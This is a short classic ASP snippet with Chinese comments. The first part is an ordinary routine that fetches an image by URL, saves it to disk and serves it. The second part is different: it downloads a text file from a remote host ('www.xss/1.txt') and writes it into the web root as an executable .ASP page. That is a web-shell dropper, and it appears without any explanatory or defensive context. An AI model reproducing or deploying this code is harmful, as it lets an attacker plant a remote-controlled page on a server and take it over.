Private Function GetPicture(X) '获取图片数据
    Set xml = Server.CreateObject("Microsoft.xmlhttp")
    xml.Open "GET", X, False
    xml.Send
    GetPicture = xml.ResponseBody
    Set xml=Nothing
End Function

Dim Tmp
Tmp = GetPicture(Url) '获取图片数据

Set ADO = Server.CreateObject("ADODB.Stream")
ADO.Type = 1 'adTypeBinary
ADO.Open
ADO.Write Tmp
ADO.SaveToFile P, 2 '保存为文件
ADO.Close

Response.ContentType = "image/jpeg"
Response.BinaryWrite Tmp '输出图片数据

<%
Set xPost = createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://www.xss/1.txt",0 '下载文件的地址
xPost.Send()
Set sGet = createObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "E:WWWROOTfuck1.ASP",2
%>